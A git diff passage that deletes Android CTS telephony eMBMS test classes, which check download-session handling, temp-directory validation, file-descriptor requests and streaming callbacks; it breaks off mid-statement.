-        tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
-        tempFileRootDir.mkdir();
-        tempFileRootDirPath = tempFileRootDir.getCanonicalPath();
-        try {
-            mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
-        } catch (IllegalStateException e) {
-            tearDown();
-            throw e;
-        }
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        recursiveDelete(tempFileRootDir);
-        tempFileRootDir = null;
-        super.tearDown();
-    }
-
-    public void testMalformedIntents() throws Exception {
-        Intent downloadCompleteIntent = new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
-        sendBroadcastAndValidate(downloadCompleteIntent,
-                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
-
-        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
-        sendBroadcastAndValidate(fdRequestIntent,
-                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
-
-        Intent cleanupIntent = new Intent(VendorUtils.ACTION_CLEANUP);
-        sendBroadcastAndValidate(cleanupIntent,
-                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
-    }
-
-    public void testBadTempFileDirectory() throws Exception {
-        Intent cleanupIntent = new Intent(VendorUtils.ACTION_CLEANUP);
-        populateIntentWithCommonFields(cleanupIntent);
-        cleanupIntent.putParcelableArrayListExtra(VendorUtils.EXTRA_TEMP_FILES_IN_USE,
-                new ArrayList<>(0));
-        cleanupIntent.putExtra(VendorUtils.EXTRA_TEMP_FILE_ROOT, "this is not a directory path");
-        sendBroadcastAndValidate(cleanupIntent,
-                MbmsDownloadReceiver.RESULT_BAD_TEMP_FILE_ROOT);
-    }
-
-    public void testDownloadFailureIntent() throws Exception {
-        Intent intentForReceiverTest = new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
-        populateIntentWithCommonFields(intentForReceiverTest);
-        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT,
-                MbmsDownloadSession.RESULT_CANCELLED);
-        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST,
-                testDownloadRequest);
-
-        AppIntentCapture intentCaptor = new AppIntentCapture(mContext, mHandler);
-
-        sendBroadcastAndValidate(intentForReceiverTest, MbmsDownloadReceiver.RESULT_OK);
-        Intent receivedIntent = intentCaptor.getIntent();
-
-        assertEquals(MbmsDownloadSession.RESULT_CANCELLED,
-                receivedIntent.getIntExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT, -1));
-
-        assertEquals(testDownloadRequest,
-                receivedIntent.getParcelableExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST));
-    }
-
-    public void testBadDownloadToken() {
-        // Set up a perfectly valid download completion intent, and expect it to fail because the
-        // download token hasn't been written.
-        Intent intentForReceiverTest = new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
-        populateIntentWithCommonFields(intentForReceiverTest);
-        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT,
-                MbmsDownloadSession.RESULT_SUCCESSFUL);
-        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST,
-                testDownloadRequest);
-        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_FILE_INFO,
-                CtsDownloadService.FILE_INFO_1);
-        intentForReceiverTest.putExtra(VendorUtils.EXTRA_FINAL_URI,
-                Uri.fromFile(new File(new File(tempFileRootDir, TEST_SERVICE_ID), "file1")));
-
-        sendBroadcastAndValidate(intentForReceiverTest,
-                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
-    }
-
-    public void testRequestNoFileDescriptors() throws Exception {
-        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
-        populateIntentWithCommonFields(fdRequestIntent);
-
-        Bundle b = sendBroadcastAndValidate(fdRequestIntent, MbmsDownloadReceiver.RESULT_OK);
-        assertTrue(b == null || b.isEmpty());
-    }
-
-    public void testRequestNewFileDescriptors() throws Exception {
-        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
-        populateIntentWithCommonFields(fdRequestIntent);
-        fdRequestIntent.putExtra(VendorUtils.EXTRA_FD_COUNT, 5);
-
-        Bundle result = sendBroadcastAndValidate(fdRequestIntent, MbmsDownloadReceiver.RESULT_OK);
-        List<UriPathPair> freeUris = result.getParcelableArrayList(VendorUtils.EXTRA_FREE_URI_LIST);
-        assertNotNull(freeUris);
-        assertEquals(5, freeUris.size());
-        for (UriPathPair pathPair : freeUris) {
-            assertEquals(ContentResolver.SCHEME_CONTENT, pathPair.getContentUri().getScheme());
-            assertEquals(ContentResolver.SCHEME_FILE, pathPair.getFilePathUri().getScheme());
-        }
-    }
-
-    public void testRequestRefreshedFileDescriptors() throws Exception {
-        // Set up a few temp files that we can request again
-        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
-        populateIntentWithCommonFields(fdRequestIntent);
-        fdRequestIntent.putExtra(VendorUtils.EXTRA_FD_COUNT, 2);
-
-        Bundle result = sendBroadcastAndValidate(fdRequestIntent, MbmsDownloadReceiver.RESULT_OK);
-        List<UriPathPair> freeUris = result.getParcelableArrayList(VendorUtils.EXTRA_FREE_URI_LIST);
-
-        Intent fdRefreshIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
-        populateIntentWithCommonFields(fdRefreshIntent);
-        fdRefreshIntent.putParcelableArrayListExtra(VendorUtils.EXTRA_PAUSED_LIST,
-                new ArrayList<>(freeUris.stream().map(UriPathPair::getFilePathUri)
-                        .collect(Collectors.toList())));
-        Bundle result2 = sendBroadcastAndValidate(fdRefreshIntent, MbmsDownloadReceiver.RESULT_OK);
-        List<UriPathPair> refreshUris =
-                result2.getParcelableArrayList(VendorUtils.EXTRA_PAUSED_URI_LIST);
-        assertEquals(freeUris.size(), refreshUris.size());
-        for (UriPathPair pathPair : refreshUris) {
-            assertTrue(freeUris.stream()
-                    .anyMatch((originalPair) ->
-                            originalPair.getFilePathUri().equals(pathPair.getFilePathUri())));
-        }
-    }
-
-    private Bundle sendBroadcastAndValidate(Intent intent, int expectedCode) {
-        BlockingQueue<Bundle> receivedExtras = new LinkedBlockingQueue<>();
-        BlockingQueue<Integer> receivedCode = new LinkedBlockingQueue<>();
-        mContext.sendOrderedBroadcast(intent, CTS_BROADCAST_PERMISSION,
-                new BroadcastReceiver() {
-                    @Override
-                    public void onReceive(Context context, Intent intent) {
-                        receivedExtras.add(getResultExtras(true));
-                        receivedCode.add(getResultCode());
-                    }
-                }, mHandler, -1, null, null);
-
-        try {
-            assertEquals(expectedCode,
-                    (int) receivedCode.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS));
-            return receivedExtras.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            fail("Test interrupted");
-            return null;
-        }
-    }
-
-    private boolean bundleEquals(Bundle a, Bundle b) {
-        if (a == null && b == null) {
-            return true;
-        }
-        if (a == null || b == null) {
-            return false;
-        }
-        for (String aKey : a.keySet()) {
-            if (!Objects.equals(a.get(aKey), b.get(aKey))) {
-                return false;
-            }
-        }
-
-        for (String bKey : b.keySet()) {
-            if (!Objects.equals(b.get(bKey), a.get(bKey))) {
-                return false;
-            }
-        }
-
-        return true;
-    }
-
-    private void populateIntentWithCommonFields(Intent intent) {
-        intent.putExtra(VendorUtils.EXTRA_SERVICE_ID, TEST_SERVICE_ID);
-        intent.putExtra(VendorUtils.EXTRA_TEMP_FILE_ROOT, tempFileRootDirPath);
-    }
-
-}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
deleted file mode 100644
index ac65030..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
+++ /dev/null
@@ -1,217 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.telephony.MbmsDownloadSession;
-import android.telephony.cts.embmstestapp.CtsDownloadService;
-import android.telephony.mbms.DownloadRequest;
-import android.telephony.mbms.FileServiceInfo;
-import android.telephony.mbms.MbmsErrors;
-
-import java.io.File;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-
-public class MbmsDownloadSessionTest extends MbmsDownloadTestBase {
-    public void testDuplicateSession() throws Exception {
-        try {
-            MbmsDownloadSession failure = MbmsDownloadSession.create(
-                    mContext, mCallbackExecutor, mCallback);
-            fail("Duplicate create should've thrown an exception");
-        } catch (IllegalStateException e) {
-            // Succeed
-        }
-    }
-
-    public void testRequestUpdateDownloadServices() throws Exception {
-        List<String> testClasses = Arrays.asList("class1", "class2");
-        mDownloadSession.requestUpdateFileServices(testClasses);
-
-        // Make sure we got the streaming services
-        List<FileServiceInfo> serviceInfos =
-                (List<FileServiceInfo>) mCallback.waitOnFileServicesUpdated().arg1;
-        assertEquals(CtsDownloadService.FILE_SERVICE_INFO, serviceInfos.get(0));
-        assertEquals(0, mCallback.getNumErrorCalls());
-
-        // Make sure the middleware got the call with the right args
-        List<Bundle> requestDownloadServicesCalls =
-                getMiddlewareCalls(CtsDownloadService.METHOD_REQUEST_UPDATE_FILE_SERVICES);
-        assertEquals(1, requestDownloadServicesCalls.size());
-        List<String> middlewareReceivedServiceClasses =
-                 requestDownloadServicesCalls.get(0)
-                         .getStringArrayList(CtsDownloadService.ARGUMENT_SERVICE_CLASSES);
-        assertEquals(testClasses.size(), middlewareReceivedServiceClasses.size());
-        for (int i = 0; i < testClasses.size(); i++) {
-            assertEquals(testClasses.get(i), middlewareReceivedServiceClasses.get(i));
-        }
-    }
-
-    public void testClose() throws Exception {
-        mDownloadSession.close();
-
-        // Make sure we can't use it anymore
-        try {
-            mDownloadSession.requestUpdateFileServices(Collections.emptyList());
-            fail("Download session should not be usable after close");
-        } catch (IllegalStateException e) {
-            // Succeed
-        }
-
-        // Make sure that the middleware got the call to close
-        List<Bundle> closeCalls = getMiddlewareCalls(CtsDownloadService.METHOD_CLOSE);
-        assertEquals(1, closeCalls.size());
-    }
-
-    public void testSetTempFileDirectory() throws Exception {
-        String tempFileDirName = "CTSTestDir";
-        File tempFileRootDirectory = new File(mContext.getFilesDir(), tempFileDirName);
-        tempFileRootDirectory.mkdirs();
-
-        mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
-        List<Bundle> setTempRootCalls =
-                getMiddlewareCalls(CtsDownloadService.METHOD_SET_TEMP_FILE_ROOT);
-        assertEquals(1, setTempRootCalls.size());
-        assertEquals(tempFileRootDirectory.getCanonicalPath(),
-                setTempRootCalls.get(0).getString(CtsDownloadService.ARGUMENT_ROOT_DIRECTORY_PATH));
-        tempFileRootDirectory.delete();
-    }
-
-    public void testSetInvalidTempFileRoot() throws Exception {
-        File tempFileRootDirectory = new File(mContext.getFilesDir(), "NNN-DoesNotExist");
-        tempFileRootDirectory.delete();
-
-        try {
-            mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
-            fail("Should not be able to set temp file root to non-existent directory");
-        } catch (IllegalArgumentException e) {
-            // success
-        }
-
-        tempFileRootDirectory = new File(mContext.getFilesDir(), "this-is-a-file.dat");
-        tempFileRootDirectory.createNewFile();
-
-        try {
-            mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
-            fail("Should not be able to set temp file root to a file");
-        } catch (IllegalArgumentException e) {
-            // success
-        }
-
-        try {
-            mDownloadSession.setTempFileRootDirectory(mContext.getFilesDir());
-            fail("Should not be able to set temp file root to the files dir");
-        } catch (IllegalArgumentException e) {
-            // success
-        }
-
-        try {
-            mDownloadSession.setTempFileRootDirectory(mContext.getCacheDir());
-            fail("Should not be able to set temp file root to the cache dir");
-        } catch (IllegalArgumentException e) {
-            // success
-        }
-
-        try {
-            mDownloadSession.setTempFileRootDirectory(mContext.getDataDir());
-            fail("Should not be able to set temp file root to the data dir");
-        } catch (IllegalArgumentException e) {
-            // success
-        }
-
-        tempFileRootDirectory.delete();
-    }
-
-    public void testResetDownloadKnowledge() throws Exception {
-        DownloadRequest request = downloadRequestTemplate.build();
-        mDownloadSession.resetDownloadKnowledge(request);
-
-        List<Bundle> resetDownloadKnowledgeCalls =
-                getMiddlewareCalls(CtsDownloadService.METHOD_RESET_DOWNLOAD_KNOWLEDGE);
-        assertEquals(1, resetDownloadKnowledgeCalls.size());
-        assertEquals(request, resetDownloadKnowledgeCalls.get(0).getParcelable(
-                CtsDownloadService.ARGUMENT_DOWNLOAD_REQUEST));
-    }
-
-    public void testGetDownloadStatus() throws Exception {
-        DownloadRequest request = downloadRequestTemplate.build();
-        mDownloadSession.requestDownloadState(request, CtsDownloadService.FILE_INFO_1);
-
-        List<Bundle> getDownloadStatusCalls =
-                getMiddlewareCalls(CtsDownloadService.METHOD_GET_DOWNLOAD_STATUS);
-        assertEquals(1, getDownloadStatusCalls.size());
-        assertEquals(request, getDownloadStatusCalls.get(0).getParcelable(
-                CtsDownloadService.ARGUMENT_DOWNLOAD_REQUEST));
-        assertEquals(CtsDownloadService.FILE_INFO_1, getDownloadStatusCalls.get(0).getParcelable(
-                CtsDownloadService.ARGUMENT_FILE_INFO));
-    }
-
-    public void testCancelDownload() throws Exception {
-        DownloadRequest request = downloadRequestTemplate.build();
-        mDownloadSession.cancelDownload(request);
-
-        List<Bundle> cancelDownloadCalls =
-                getMiddlewareCalls(CtsDownloadService.METHOD_CANCEL_DOWNLOAD);
-        assertEquals(1, cancelDownloadCalls.size());
-        assertEquals(request, cancelDownloadCalls.get(0).getParcelable(
-                CtsDownloadService.ARGUMENT_DOWNLOAD_REQUEST));
-    }
-
-    public void testListPendingDownloads() throws Exception {
-        File tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
-        tempFileRootDir.mkdir();
-        mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
-
-        DownloadRequest request = downloadRequestTemplate.setAppIntent(new Intent()).build();
-        mDownloadSession.download(request);
-
-        List<DownloadRequest> downloads = mDownloadSession.listPendingDownloads();
-        assertEquals(1, downloads.size());
-        assertEquals(request, downloads.get(0));
-    }
-
-    public void testSetTempFileDirFailure() throws Exception {
-        String tempFileDirName = "CTSTestDir101010";
-        File tempFileRootDirectory = new File(mContext.getFilesDir(), tempFileDirName);
-        tempFileRootDirectory.mkdirs();
-
-        mMiddlewareControl.forceErrorCode(
-                MbmsErrors.DownloadErrors.ERROR_CANNOT_CHANGE_TEMP_FILE_ROOT);
-        mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
-        assertNotNull(mCallback.waitOnError());
-        assertNotSame(mDownloadSession.getTempFileRootDirectory(), tempFileDirName);
-    }
-
-    public void testDownloadRequestSerialization() throws Exception {
-        Intent intent = new Intent("sample_intent_action");
-        DownloadRequest request = downloadRequestTemplate.setAppIntent(intent).build();
-        DownloadRequest newRequest =
-                DownloadRequest.Builder.fromSerializedRequest(request.toByteArray())
-                        .build();
-        assertEquals(request, newRequest);
-    }
-
-    public void testErrorDelivery() throws Exception {
-        mMiddlewareControl.forceErrorCode(
-                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
-        mDownloadSession.requestUpdateFileServices(Collections.emptyList());
-        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
-                mCallback.waitOnError().arg1);
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
deleted file mode 100644
index 2a27cb0..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-import android.annotation.Nullable;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.ServiceConnection;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.RemoteException;
-import android.telephony.MbmsDownloadSession;
-import android.telephony.cts.embmstestapp.CtsDownloadService;
-import android.telephony.cts.embmstestapp.ICtsDownloadMiddlewareControl;
-import android.telephony.mbms.DownloadRequest;
-import android.telephony.mbms.FileServiceInfo;
-import android.telephony.mbms.MbmsDownloadSessionCallback;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import com.android.internal.os.SomeArgs;
-
-import java.io.File;
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.stream.Collectors;
-
-public class MbmsDownloadTestBase extends InstrumentationTestCase {
-    protected static final int ASYNC_TIMEOUT = 10000;
-
-    protected static class TestCallback extends MbmsDownloadSessionCallback {
-        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
-        private final BlockingQueue<SomeArgs> mFileServicesUpdatedCalls =
-                new LinkedBlockingQueue<>();
-        private final BlockingQueue<SomeArgs> mMiddlewareReadyCalls = new LinkedBlockingQueue<>();
-        private int mNumErrorCalls = 0;
-
-        @Override
-        public void onError(int errorCode, @Nullable String message) {
-            mNumErrorCalls += 1;
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = errorCode;
-            args.arg2 = message;
-            mErrorCalls.add(args);
-            Log.i(MbmsDownloadTestBase.class.getSimpleName(),
-                    "Got error: " + errorCode + ": " + message);
-        }
-
-        @Override
-        public void onFileServicesUpdated(List<FileServiceInfo> services) {
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = services;
-            mFileServicesUpdatedCalls.add(args);
-        }
-
-        @Override
-        public void onMiddlewareReady() {
-            mMiddlewareReadyCalls.add(SomeArgs.obtain());
-        }
-
-        public SomeArgs waitOnError() {
-            try {
-                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-
-        public boolean waitOnMiddlewareReady() {
-            try {
-                return mMiddlewareReadyCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS) != null;
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public SomeArgs waitOnFileServicesUpdated() {
-            try {
-                return mFileServicesUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-
-        public int getNumErrorCalls() {
-            return mNumErrorCalls;
-        }
-    }
-
-    DownloadRequest.Builder downloadRequestTemplate;
-    Uri destinationDirectoryUri;
-
-    Context mContext;
-    HandlerThread mHandlerThread;
-    Handler mHandler;
-    Executor mCallbackExecutor;
-    ICtsDownloadMiddlewareControl mMiddlewareControl;
-    MbmsDownloadSession mDownloadSession;
-    TestCallback mCallback = new TestCallback();
-
-    @Override
-    public void setUp() throws Exception {
-        mContext = getInstrumentation().getContext();
-        mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
-        mHandlerThread.start();
-        mHandler = new Handler(mHandlerThread.getLooper());
-        mCallbackExecutor = mHandler::post;
-        mCallback = new TestCallback();
-
-        File destinationDirectory = new File(mContext.getFilesDir(), "downloads");
-        destinationDirectory.mkdirs();
-        destinationDirectoryUri = Uri.fromFile(destinationDirectory);
-        downloadRequestTemplate = new DownloadRequest.Builder(
-                CtsDownloadService.SOURCE_URI_1, destinationDirectoryUri)
-                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO);
-        getControlBinder();
-        setupDownloadSession();
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        mHandlerThread.quit();
-        mDownloadSession.close();
-        mMiddlewareControl.reset();
-    }
-
-    private void setupDownloadSession() throws Exception {
-        mDownloadSession = MbmsDownloadSession.create(
-                mContext, mCallbackExecutor, mCallback);
-        assertNotNull(mDownloadSession);
-        assertTrue(mCallback.waitOnMiddlewareReady());
-        assertEquals(0, mCallback.getNumErrorCalls());
-        Bundle initializeCall =  mMiddlewareControl.getDownloadSessionCalls().get(0);
-        assertEquals(CtsDownloadService.METHOD_INITIALIZE,
-                initializeCall.getString(CtsDownloadService.METHOD_NAME));
-    }
-
-    private void getControlBinder() throws InterruptedException {
-        Intent bindIntent = new Intent(CtsDownloadService.CONTROL_INTERFACE_ACTION);
-        bindIntent.setComponent(CtsDownloadService.CONTROL_INTERFACE_COMPONENT);
-        final CountDownLatch bindLatch = new CountDownLatch(1);
-
-        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
-            @Override
-            public void onServiceConnected(ComponentName name, IBinder service) {
-                mMiddlewareControl = ICtsDownloadMiddlewareControl.Stub.asInterface(service);
-                bindLatch.countDown();
-            }
-
-            @Override
-            public void onServiceDisconnected(ComponentName name) {
-                mMiddlewareControl = null;
-            }
-        }, Context.BIND_AUTO_CREATE);
-        if (!success) {
-            fail("Failed to get control interface -- bind error");
-        }
-        bindLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-    }
-
-    protected List<Bundle> getMiddlewareCalls(String methodName) throws RemoteException {
-        return (mMiddlewareControl.getDownloadSessionCalls()).stream()
-                .filter((elem) -> elem.getString(CtsDownloadService.METHOD_NAME).equals(methodName))
-                .collect(Collectors.toList());
-    }
-
-    protected static void recursiveDelete(File f) {
-        if (f.isDirectory()) {
-            for (File f1 : f.listFiles()) {
-                recursiveDelete(f1);
-            }
-        }
-        f.delete();
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingServiceTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingServiceTest.java
deleted file mode 100644
index 835a6e4..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingServiceTest.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-import android.annotation.Nullable;
-import android.telephony.cts.embmstestapp.CtsStreamingService;
-import android.telephony.mbms.MbmsErrors;
-import android.telephony.mbms.StreamingService;
-import android.telephony.mbms.StreamingServiceCallback;
-
-import com.android.internal.os.SomeArgs;
-
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class MbmsStreamingServiceTest extends MbmsStreamingTestBase {
-    private class TestStreamingServiceCallback extends StreamingServiceCallback {
-        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
-        private final BlockingQueue<SomeArgs> mStreamStateUpdatedCalls =
-                new LinkedBlockingQueue<>();
-        private final BlockingQueue<SomeArgs> mMediaDescriptionUpdatedCalls =
-                new LinkedBlockingQueue<>();
-        private final BlockingQueue<SomeArgs> mBroadcastSignalStrengthUpdatedCalls =
-                new LinkedBlockingQueue<>();
-        private final BlockingQueue<SomeArgs> mStreamMethodUpdatedCalls =
-                new LinkedBlockingQueue<>();
-
-        @Override
-        public void onError(int errorCode, @Nullable String message) {
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = errorCode;
-            args.arg2 = message;
-            mErrorCalls.add(args);
-        }
-
-        @Override
-        public void onStreamStateUpdated(@StreamingService.StreamingState int state,
-                @StreamingService.StreamingStateChangeReason int reason) {
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = state;
-            args.arg2 = reason;
-            mStreamStateUpdatedCalls.add(args);
-        }
-
-        @Override
-        public void onMediaDescriptionUpdated() {
-            SomeArgs args = SomeArgs.obtain();
-            mMediaDescriptionUpdatedCalls.add(args);
-        }
-
-        @Override
-        public void onBroadcastSignalStrengthUpdated(int signalStrength) {
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = signalStrength;
-            mBroadcastSignalStrengthUpdatedCalls.add(args);
-        }
-
-        @Override
-        public void onStreamMethodUpdated(int methodType) {
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = methodType;
-            mStreamMethodUpdatedCalls.add(args);
-        }
-
-        public SomeArgs waitOnError() {
-            try {
-                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-
-        public SomeArgs waitOnStreamStateUpdated() {
-            try {
-                return mStreamStateUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-
-        public SomeArgs waitOnMediaDescriptionUpdated() {
-            try {
-                return mMediaDescriptionUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-
-        public SomeArgs waitOnBroadcastSignalStrengthUpdated() {
-            try {
-                return mBroadcastSignalStrengthUpdatedCalls.poll(
-                        ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-
-        public SomeArgs waitOnStreamMethodUpdated() {
-            try {
-                return mStreamMethodUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-
-    }
-
-    private TestStreamingServiceCallback mStreamingServiceCallback =
-            new TestStreamingServiceCallback();
-
-    public void testStartStreaming() throws Exception {
-        StreamingService streamingService = mStreamingSession.startStreaming(
-                CtsStreamingService .STREAMING_SERVICE_INFO,
-                mCallbackExecutor, mStreamingServiceCallback);
-        assertNotNull(streamingService);
-        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO, streamingService.getInfo());
-
-        SomeArgs args = mStreamingServiceCallback.waitOnStreamStateUpdated();
-        assertEquals(StreamingService.STATE_STARTED, args.arg1);
-        assertEquals(StreamingService.REASON_BY_USER_REQUEST, args.arg2);
-
-        List<List<Object>> startStreamingCalls =
-                getMiddlewareCalls(CtsStreamingService.METHOD_START_STREAMING);
-        assertEquals(1, startStreamingCalls.size());
-        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO.getServiceId(),
-                startStreamingCalls.get(0).get(2));
-    }
-
-    public void testGetPlaybackUri() throws Exception {
-        StreamingService streamingService = mStreamingSession.startStreaming(
-                CtsStreamingService .STREAMING_SERVICE_INFO,
-                mCallbackExecutor, mStreamingServiceCallback);
-        assertEquals(CtsStreamingService.STREAMING_URI, streamingService.getPlaybackUri());
-
-        List<List<Object>> getPlaybackUriCalls =
-                getMiddlewareCalls(CtsStreamingService.METHOD_GET_PLAYBACK_URI);
-        assertEquals(1, getPlaybackUriCalls.size());
-        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO.getServiceId(),
-                getPlaybackUriCalls.get(0).get(2));
-    }
-
-    public void testStopStreaming() throws Exception {
-        StreamingService streamingService = mStreamingSession.startStreaming(
-                CtsStreamingService .STREAMING_SERVICE_INFO,
-                mCallbackExecutor, mStreamingServiceCallback);
-        streamingService.close();
-        List<List<Object>> stopStreamingCalls =
-                getMiddlewareCalls(CtsStreamingService.METHOD_STOP_STREAMING);
-        assertEquals(1, stopStreamingCalls.size());
-        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO.getServiceId(),
-                stopStreamingCalls.get(0).get(2));
-    }
-
-    public void testStreamingCallbacks() throws Exception {
-        mStreamingSession.startStreaming(
-                CtsStreamingService .STREAMING_SERVICE_INFO,
-                mCallbackExecutor, mStreamingServiceCallback);
-
-        mMiddlewareControl.fireErrorOnStream(
-                MbmsErrors.StreamingErrors.ERROR_UNABLE_TO_START_SERVICE, "");
-        assertEquals(MbmsErrors.StreamingErrors.ERROR_UNABLE_TO_START_SERVICE,
-                mStreamingServiceCallback.waitOnError().arg1);
-
-        mMiddlewareControl.fireOnMediaDescriptionUpdated();
-        assertNotNull(mStreamingServiceCallback.waitOnMediaDescriptionUpdated());
-
-        int broadcastSignalStrength = 3;
-        mMiddlewareControl.fireOnBroadcastSignalStrengthUpdated(broadcastSignalStrength);
-        assertEquals(broadcastSignalStrength,
